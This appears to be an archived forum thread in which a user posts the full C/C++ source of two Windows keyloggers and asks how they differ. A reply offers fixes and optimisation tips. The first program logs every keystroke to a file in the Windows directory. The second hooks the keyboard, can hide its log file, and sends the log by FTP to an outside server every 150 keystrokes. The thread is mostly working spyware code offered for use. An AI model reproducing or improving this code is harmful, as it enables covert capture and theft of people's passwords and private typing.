questions


Hello
I have a question about a simple keylogger.
Could someone move up the code.
And yet I question what the difference between these two keyloggers.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#include <stdio.h>
#include <windows.h>
#include <Winuser.h>
 
 
void keys(int key,char *file)
{
 
FILE *key_file;
 
key_file = fopen(file,"a+");
 
 
 
if (key==8)
 
fprintf(key_file,"%s","[del]");
 
if (key==13)
 
fprintf(key_file,"%s","\n");
 
if (key==32)
 
fprintf(key_file,"%s"," ");
 
if (key==VK_CAPITAL)
 
fprintf(key_file,"%s","[Caps]");
 
if (key==VK_TAB)
 
fprintf(key_file,"%s","[TAB]");
 
if (key ==VK_SHIFT)
 
fprintf(key_file,"%s","[SHIFT]");
 
if (key ==VK_CONTROL)
 
fprintf(key_file,"%s","[CTRL]");
 
if (key ==VK_PAUSE)
 
fprintf(key_file,"%s","[PAUSE]");
 
if (key ==VK_KANA)
 
fprintf(key_file,"%s","[Kana]");
 
if (key ==VK_ESCAPE)
 
fprintf(key_file,"%s","[ESC]");
 
if (key ==VK_END)
 
fprintf(key_file,"%s","[END]");
 
if (key==VK_HOME)
 
fprintf(key_file,"%s","[HOME]");
 
if (key ==VK_LEFT)
 
fprintf(key_file,"%s","[LEFT]");
 
if (key ==VK_UP)
 
fprintf(key_file,"%s","[UP]");
 
if (key ==VK_RIGHT)
 
fprintf(key_file,"%s","[RIGHT]");
 
if (key ==VK_DOWN)
 
fprintf(key_file,"%s","[DOWN]");
 
if (key ==VK_SNAPSHOT)
 
fprintf(key_file,"%s","[PRINT]");
 
if (key ==VK_NUMLOCK)
 
fprintf(key_file,"%s","[NUM LOCK]");
 
if (key ==190 || key==110)
 
fprintf(key_file,"%s",".");
 
if (key >=96 && key <= 105){
 
    key = key - 48;
  
    fprintf(key_file,"%s",&key);
 
}
 
if (key >=48 && key <= 59)
 
fprintf(key_file,"%s",&key);
 
 
 
if (key !=VK_LBUTTON || key !=VK_RBUTTON){
 
    if (key >=65 && key <=90){
  
        if (GetKeyState(VK_CAPITAL))
 � � �
            fprintf(key_file,"%s",&key);
 else
 
 {
 
     key = key +32;
 
     fprintf(key_file,"%s",&key);
 
 }
}
 
}
 
fclose(key_file);
 
 
 
 
 
}
 
int main()
{
 
 
 
char i;
 
 
char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
 
while(1){  
 
    for(i=8;i<=190;i++){
 �
    if (GetAsyncKeyState(i) == -32767)
     
    {
 �
 � � �
 � � �keys (i,test);
     �
 � � �
 
    }
}
 
}
 
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;
  
char * extractFilename(char * path){
char * ret = path;
bool isFullPath = false;
for (int i=0;i<strlen(path);i++){
    if (ret[i] == '\\'){
        isFullPath = true;
    }
}
if (isFullPath){
    ret = (char *)((DWORD)path + lstrlen(path) - 1);
    while (*ret != '\\')
        ret--;
    ret++;
}
return ret;
}
 
FILE * f;
HHOOK hKeyboardHook;
  
/*Change file attributes to hidden*/
void hide_file(char * file)
{
         if (GetFileAttributes(file) != 0x22)
         SetFileAttributes(file,0x22);
}
  
/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
        char desktop[260];
        if (SUCCEEDED(SHGetFolderPath(NULL,
                                  CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
                                  NULL,
                                  SHGFP_TYPE_CURRENT,
                                  desktop)))
        {
                strcpy(ret,desktop);
                return true;
        }
        else
        {
                ret = NULL;
                return false;
        }
}
  
//Multiple concatenation
char *dupcat(const char *s1, ...){
     int len;
     char *p, *q, *sn;
     va_list ap;
  
     len = strlen(s1);
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         len += strlen(sn);
     }
     va_end(ap);
  
     p = new char[len + 1];
     strcpy(p, s1);
     q = p + strlen(p);
  
     va_start(ap, s1);
     while (1) {
         sn = va_arg(ap, char *);
         if (!sn)
             break;
         strcpy(q, sn);
         q += strlen(q);
     }
     va_end(ap);
  
     return p;
}//Example: cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
  
  /*Upload file to server*/
BOOL uploadFile( char *filename, char *destination_name,char *address,char *username,char *password)
{
        BOOL t = false;
        HINTERNET hint,hftp;
        hint = InternetOpen("FTP",INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
        hftp = InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
        t = FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
        InternetCloseHandle(hftp);
        InternetCloseHandle(hint);
        return t;
}
  
 static int keysPressed = 0; //Lets count the keys pressed
  
LRESULT WINAPI Keylogger (int nCode, WPARAM wParam, LPARAM lParam)
{
        char currentDirectory[260];
                char * workFullPath;
                
        
    if  ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))     
    {
            bool truth = getDesktopPath(currentDirectory); //If we can capture the desktop directory then we are good
                if (truth)
                {
                    //Concatenate desktop directory and files
                        workFullPath = dupcat(currentDirectory,"\\work.txt",NULL); //So the file path will be like: C:\Users\Corporation\Desktop\work.txt
                        f = fopen(workFullPath,"a+"); //Open the file
                }
        KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
        DWORD dwMsg = 1;
        dwMsg += hooked_key.scanCode << 16;
        dwMsg += hooked_key.flags << 24;
        char lpszKeyName[1024] = {0};
                lpszKeyName[0] = '[';
  
        int i = GetKeyNameText(dwMsg,   (lpszKeyName + 1),0xFF) + 1;
        int key = hooked_key.vkCode;
                lpszKeyName[i] = ']';
         //Key value or something else ?
                 //if the key if from A-Z,a-z,0-9 then add this to file
                        if (key >= 'A' && key <= 'Z')
                        {
                             if  (GetAsyncKeyState(VK_SHIFT) >= 0)
                                         key += 0x20;
                                 if (f != NULL)
                                 fprintf(f,"%c", key);
                        }
                                                //else add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
                        else
                        {
                                if (f != NULL)
                                        fprintf(f,"%s", lpszKeyName);
                        }
                                                keysPressed ++;
                                                if (keysPressed == 150) //Enough data
                                                {
                                                        //extractFilename is used to extract only the file from path:Example: C:\data\x.php,
                                                        //extractFilename("C:\\data\\x.php") => x.php so that we add only the file to ftp
                                                        uploadFile(workFullPath,extractFilename(workFullPath),"www.xyz.org","ftpUsername","ftpPassword"); //Upload the file to FTP
                                                        keysPressed = 0;
                                                }
  
                        //You can make the file hidden :))
                        //hide_file(workFullPath);
                        fclose(f);
        }
    return CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}
 
DWORD WINAPI JACKAL(LPVOID lpParm)
{
        HINSTANCE hins;
        hins = GetModuleHandle(NULL);
        hKeyboardHook = SetWindowsHookEx (  WH_KEYBOARD_LL, (HOOKPROC) Keylogger,   hins,  0);
  
        MSG message;
    while (GetMessage(&message,NULL,0,0))
    {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }
  
    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}
  
void main(){
        JACKAL(NULL);
}
There's a bug at line 105. The condition is always true.

This won't work: fprintf(key_file,"%s",&key);
Since key is an int. If you want to print the character that it represents, use fprintf(keyfile, "%c", key);

But why use fprintf() at all? fpuc(key, key_file) will do the job and it's faster.

Same comment with all your other fprintf()'s. It would faster and easier to use fputs().

Similarly, a case statement is likely to produce faster shorter code and tells the reader that you're doing different things based on the value of key. So overall I'm suggesting that you do it like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (key >=48 && key <= 59) {
    fputc(key, key_file);
} else if (other range checks) {
    // do stuff
} else {
   switch (key) {
        case 8:
            fputs("[del]", key_file);
            break;
        case 13:
            fputc('\n', key_file);
            break;
        case 32:
            fputc(' ', key_file);
            break;
        case VK_CAPITAL:
            fputs("[Caps]", key_file);
            break;
        // etc
    }
}

Topic archived. No new replies allowed.